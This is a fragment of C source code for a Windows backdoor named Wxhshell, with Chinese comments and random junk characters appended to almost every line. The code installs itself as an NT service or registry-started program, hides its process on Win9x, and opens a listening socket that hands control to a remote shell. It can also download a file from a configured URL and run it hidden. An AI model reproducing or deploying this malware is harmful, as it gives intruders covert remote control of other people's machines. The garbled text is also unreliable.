DWORD ExitStatus; _(F-(X|
DWORD PebBaseAddress; )6C+0b*
DWORD AffinityMask; pWGR#x'
DWORD BasePriority; ]`|$nU}v
ULONG UniqueProcessId; w,LmAWZ4Y
ULONG InheritedFromUniqueProcessId; {:K_=IRZ
} PROCESS_BASIC_INFORMATION; [3G{NC|'
)*;Tt @'y
PROCNTQSIP NtQueryInformationProcess; vKG\8+
>bh+!5Y0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ],pB:=
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; su1lv#
p)yP_P
HANDLE hProcess; heCM+=#~
PROCESS_BASIC_INFORMATION pbi; 1N8] ~j
UxTLr-db^
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !S':G
if(NULL == hInst ) return 0; k.ou$mIY
Yt]`>C[|D
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2!J#XzR0W
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); II=`=H{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7 H
/GIGE##1F
if (!NtQueryInformationProcess) return 0; THp_ dTD
Nh.+woFq4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mvEhP{w
if(!hProcess) return 0; j2MA['{
O8@65URKx
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
0Idek
SH{@yS[c!
CloseHandle(hProcess); 5wx_ol}2
JY#vq'dl|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X3:z=X&Zd
if(hProcess==NULL) return 0; _-_iw&F
$*#^C;7O
HMODULE hMod;
/:4J
char procName[255]; V/ G1C^'/
unsigned long cbNeeded; Jw;~ $
@*YF!LdU{M
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ! Ld5Y$
u /F!8#
CloseHandle(hProcess); u?Ffqt9'
?s^qWA
if(strstr(procName,"services")) return 1; // 以服务启动 )j36Y =r3
,<rC,4-F<
return 0; // 注册表启动 .5
.(S^u
} Z@0tZ^V{
?.46X^
// 主模块 _`udd)Y2
int StartWxhshell(LPSTR lpCmdLine) Z!"-LQJ
{ k<< x}=
SOCKET wsl; VhUWws3E
BOOL val=TRUE; m^3x%ENZ
int port=0; 1!v{#w{u7
struct sockaddr_in door; !/XNp QP
!<p,G`r
if(wscfg.ws_autoins) Install(); u5oM;#{@-
|2j,
port=atoi(lpCmdLine); PEf yHf7`
w \b+OW
if(port<=0) port=wscfg.ws_port; wXQxZuk[
YhN<vZ}U!~
WSADATA data; ]/=R ABi
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S0^a)#D &
7S a9
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; C
t,p
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f*o
door.sin_family = AF_INET; Njc@5*rJ&
door.sin_addr.s_addr = inet_addr("127.0.0.1"); VHD+NY/
door.sin_port = htons(port); RpivO,
lx:$EJ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *:n~j9V-
closesocket(wsl); {rKC4:
return 1; h3?>jE=H
} SOOVUMj
u<ed O+
if(listen(wsl,2) == INVALID_SOCKET) { WO qDW~
closesocket(wsl); HOP*QX8C%
return 1; g<j)
} Z =+Z96
Wxhshell(wsl); .4+Rac
WSACleanup(); JsJP%'^/R
1rm\ u%
return 0; =tOB fRM
FiUQ2w4
} ~[ufL25K
B0@
Tz39=
// 以NT服务方式启动 E_ns4k#uG
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S<0 &V
{ eY<<Hld
DWORD status = 0;
k*$WAOJEW
DWORD specificError = 0xfffffff; iOk;o=
8o~
NJ 6
serviceStatus.dwServiceType = SERVICE_WIN32; l_h:S`z.
serviceStatus.dwCurrentState = SERVICE_START_PENDING; :ppaq
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I&1Lm)W&
serviceStatus.dwWin32ExitCode = 0; YYe G9yR
serviceStatus.dwServiceSpecificExitCode = 0; P.]h`4
serviceStatus.dwCheckPoint = 0; xi5"?*&Sb
serviceStatus.dwWaitHint = 0; <V&0GAZ
oYqHl1cs
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;,f\Wf"BW
if (hServiceStatusHandle==0) return; XY"b 90
*ub2dH4/
status = GetLastError(); m+(Cl#+
if (status!=NO_ERROR) "-Q+!byh
{ /lBK )(
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~lj[> |\Oj
serviceStatus.dwCheckPoint = 0; 7ch9Pf
serviceStatus.dwWaitHint = 0; _(N+z.
serviceStatus.dwWin32ExitCode = status; sA2-3V<t8
serviceStatus.dwServiceSpecificExitCode = specificError; *] ihc u
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jWrU'X
return; X)b$CG
} \&Yn)|!
25SWIpgG
serviceStatus.dwCurrentState = SERVICE_RUNNING; eAy,T<#
serviceStatus.dwCheckPoint = 0; . &^p@A~
serviceStatus.dwWaitHint = 0; 6w^P{%ul
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ( /]'e}
} Z8SwW<{ $
2v{WX
// 处理NT服务事件,比如:启动、停止 FLi'}C
VOID WINAPI NTServiceHandler(DWORD fdwControl) nfEbu4|
{ 6 s=VU\
switch(fdwControl) ]m+%y+
{ n5}]C{s'
case SERVICE_CONTROL_STOP: OC=&!<
serviceStatus.dwWin32ExitCode = 0; d(q1?{zr4
serviceStatus.dwCurrentState = SERVICE_STOPPED; g|~px$<iY
serviceStatus.dwCheckPoint = 0; h( | T.
serviceStatus.dwWaitHint = 0; Hyb(.hlZh
{ 2K}49*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w!f2~j~
} &;@L]
o
return; "jL>P)
case SERVICE_CONTROL_PAUSE: _Y; TS1u
serviceStatus.dwCurrentState = SERVICE_PAUSED; tV)CDA&Z
break; zgb$@JC
case SERVICE_CONTROL_CONTINUE: '_c/CNs
serviceStatus.dwCurrentState = SERVICE_RUNNING; 'z$N{p40m
break; 7+HK_wNi
case SERVICE_CONTROL_INTERROGATE: $TIeeTB
break; v=llg ^
}; @v)Z>xv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gx C+lqH#
} [^hW>O=@TN
xM jn=\}
// 标准应用程序主函数 Os9SfL
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s)-oCT$[
{ TQ"XjbhU;X
&n<YmW?"
// 获取操作系统版本 g>/Y}{sL-
OsIsNt=GetOsVer(); 5Tl5T&
GetModuleFileName(NULL,ExeFile,MAX_PATH); b| L;*<KU
s#X/
F
// 从命令行安装 J M`w6}
if(strpbrk(lpCmdLine,"iI")) Install(); [q9B"@X
0*{(R#
// 下载执行文件 \YvG+7a
if(wscfg.ws_downexe) { Dz }i-tw+
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [ws
_ g,/
WinExec(wscfg.ws_filenam,SW_HIDE); &N}"4
} e9LX0=
Ln>!4i+-B)
if(!OsIsNt) { -@> {q/
// 如果时win9x,隐藏进程并且设置为注册表启动 i2<z"v63
HideProc(); "Z@P&jl
StartWxhshell(lpCmdLine); #T7v]@K67
}
3ahriZe
else R$&;
if(StartFromService()) m.<_WXH
// 以服务方式启动 B!RfPk1B<*
StartServiceCtrlDispatcher(DispatchTable); u zZ|0
else U^PXpNQ'
// 普通方式启动 3%POTAw%
StartWxhshell(lpCmdLine); <F9-$_m
x{R440"
return 0; "|
nXR8t.r
}